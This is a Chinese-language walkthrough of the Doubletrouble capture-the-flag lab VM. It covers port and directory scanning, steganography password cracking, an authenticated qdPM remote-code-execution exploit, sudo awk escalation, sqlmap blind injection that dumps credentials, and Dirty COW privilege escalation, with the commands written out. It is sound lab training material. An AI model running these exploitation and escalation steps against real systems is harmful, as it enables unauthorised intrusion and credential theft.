Doubletrouble靶场练习---中
0x00部署
doubletrouble靶机:下载地址
宿主机:kali2022
目标:获取root拿到flag文件
0x01信息收集
1.主机发现
$ sudo arp-scan -l
//因为靶机与宿主机在同一网段,所以用二级扫描来发现靶机ip
这里发现了靶机ip为104
如果有时候不确信扫的对否,可以先将靶机关闭,扫一下当前的ip
2.端口扫描
//使用namp命令,-p-指定ip,查看哪些端口开放
$ sudo nmap -sS -T4 -p- 靶机ip
$ sudo nmap -sC -sV -O -p22,80 靶机ip
//-sC常见漏洞脚本扫描
//-sV开放端口服务/版本号
//-O操作系统探测
常规扫描之后发现只开放了22和80
访问80,页面登录需要一个邮箱和密码,qdPM这个可疑信息记录一下:
3.信息收集(漏洞扫描)
访问一下qdPM页面以及他的更新记录,这里显示对/install和/core/cache/qdPM页面进行隐藏,所以访问一下看有无可利用信息。
$sudo nmap --script=vuln -p22,80 靶机ip
一扫可是不少:
80/tcp open http
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-sql-injection:
| Possible sqli for forms:
| Form at path: /index.php/login/restorePassword, form's action: /index.php/login/restorePassword. Fields that might be vulnerable:
|_ restorePassword[email]
| http-internal-ip-disclosure:
|_ Internal IP Leaked: 127.0.1.1
| http-enum:
| /backups/: Backup folder w/ directory listing //没用
| /robots.txt: Robots file //没用
| /batch/: Potentially interesting directory w/ listing on 'apache/2.4.38 (debian)' //没用
| /core/: Potentially interesting directory w/ listing on 'apache/2.4.38 (debian)'
| /css/: Potentially interesting directory w/ listing on 'apache/2.4.38 (debian)'
| /images/: Potentially interesting directory w/ listing on 'apache/2.4.38 (debian)'
| /install/: Potentially interesting folder
| /js/: Potentially interesting directory w/ listing on 'apache/2.4.38 (debian)'
| /secret/: Potentially interesting directory w/ listing on 'apache/2.4.38 (debian)' //这个很吸引人
| /template/: Potentially interesting directory w/ listing on 'apache/2.4.38 (debian)'
|_ /uploads/: Potentially interesting directory w/ listing on 'apache/2.4.38 (debian)'
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
|_http-csrf: Couldn't find any CSRF vulnerabilities.
4.路径爬取
根据上边枚举出来的路径,再对80端口进行一下路径爬取,寻找隐藏信息
$ dirsearch -u http://ip //没什么特别的结果,继续
$ dirsearch -u http://ip -f -e php,txt,html //指定扩展名
$ dirsearch -u http://ip -w /usr/share/seclists/Discovery/Web-Content/common.txt
//指定字典进行爆破
$ gobuster dir -r -u http://192.168.56.107/site/ -x txt,html,php -w /usr/share/seclists/Discovery/Web-Content/common.txt
使用dirsearch爬取的路径结果:
/backups
/batch (Status: 200) [Size: 944]
/check.php (Status: 200) [Size: 0]
/core (Status: 200) [Size: 3056]
/css (Status: 200) [Size: 1309]
/favicon.ico (Status: 200) [Size: 894]
/images (Status: 200) [Size: 2369]
/install (Status: 200) [Size: 1815]
/index.php (Status: 200) [Size: 5814]
/index.php (Status: 200) [Size: 5814]
/js (Status: 200) [Size: 1959]
/readme.txt (Status: 200) [Size: 470]
/robots.txt (Status: 200) [Size: 26]
/robots.txt (Status: 200) [Size: 26]
/secret (Status: 200) [Size: 957]---》看着就很吸引人
/server-status (Status: 403) [Size: 279]
/sf (Status: 200) [Size: 1143]
/template (Status: 200) [Size: 1707]
/uploads (Status: 200) [Size: 1141]
readme.txt:
–>qdPM是一个开源项目的管理软件,联系人是Sergey。访问一下这个qdPM的网站,收集一下版本信息和其更新的功能区别。
开源CMS漏洞利用
searchsploit qdPM 9.1
这里的exp的利用需要身份认证,所以我们先找别的信息。
隐写术密码爆破(stegseek)
其他页面都没有什么当前可利用的信息,这个secret中的图片是能利用的唯一线索
使用之前用过的steghide发现有密码不能继续。
这里安装一个stegseek:stegseek下载地址,下载stegseek_0.6-1.deb
apt install stegseek_0.6-1.deb #安装stegseek
然后将rockyou文件下载到本地解压然后破解隐写术的密码:
$ steghide info doubletrouble.jpg
检查一下图片的输出文件,是text格式,查看到应该是80页面的账号及密码
获取到信息后可以登录进去,有了用户认证,就尝试一下exp利用,是一个远程代码执行的漏洞:
下载到本地
赋予脚本执行权限
查看一下脚本中的信息,使用指令:
运行过程中可能会报错,考虑到python语言对于缩进是非常敏感的对与报错的行进行修改。
$ python3 ./47954.py -url http://192.168.56.104/ -u otisrush@localhost.com -p otis666
后门已经加载到页面中,访问这个url:
GTFObins提权
$ python -c 'import pty;pty.spawn("/bin/bash");' //优化当前bash页面
$ sudo -l //查看一下
查看一下靶机系统是否有nc:
使用nc来反弹shell
这里发现awk不用密码就可以登录,查看属主是root,选择用GTFObins进行提权:
进入root目录发现另一个ova
下载下来然后在VM上边导入,网络设置依旧还是host-only,分配的ip是105
端口扫描一下
访问80端口,有一个登录界面。
利用sqlmap进行SQL盲注
在这个登录界面进行SQLmap注入,注入的策略:爆库-表-列-字段
sqlmap -u '' --forms --batch
利用sqlmap进行注入,在Parameter中找到这个是一个时间盲注类型,
sqlmap -u ' ' --forms --batch --current-db
得到库名:doubletrouble
sqlmap -u ' ' --forms --batch -D doubletrouble --tables
指定库名,得到表名:users
sqlmap -u ' ' --forms --batch -T users --columns
指定表名,得到列名:password和username
sqlmap -u ' ' --forms --batch -T users -C username,password --dump
指定表名,得到列名:password和username
得到了用户名及密码:
montreux GfsZxc1
clapton ZubZub99
尝试登陆一下页面发现不行,转头尝试ssh连接,clap可以登录:
在当前目录找到一个txt文件有一组字符串:
破解一下,sudo一下发现不是密码,一个flag:
检查一下内核版本:
针对内核版本linux 3.2可以利用脏牛漏洞提权。
0x02权限提升(脏牛)
脏牛代码:github:dirtycow/dirty.c
代码放到kali本机中的dirty.c中,clap靶机侦听4545端口,并把侦听到的文件放入dirty.c文件中
kali本机端:
gcc -pthread dirty.c -o dirty -lcrypt //执行一下.c文件变成可执行文件
chmod +x dirty //给可执行文件权限
./dirty pass //执行 后边的参数是定义的密码,脏牛会将root账户变成一个firefart用户然后密码变为自己定义的pass
用firefart账号来登录ssh账号,已经拥有root权限
脏牛会将之前的用户权限做一个备份存在/tmp/passwd.bak中,再将其还原到/etc/passwd中,passwd设置root密码,退出后可以用root用户及所设置的密码登录。
0x03总结
这个靶场可以学到很多方法:
1.使用stegseek工具对于隐写术的密码进行爆破;
2.通过searchsploit查找开源CMS对应版本漏洞进行漏洞利用;
3.使用sqlmap进行sql注入盲注;
4.脏牛提权>FObins提权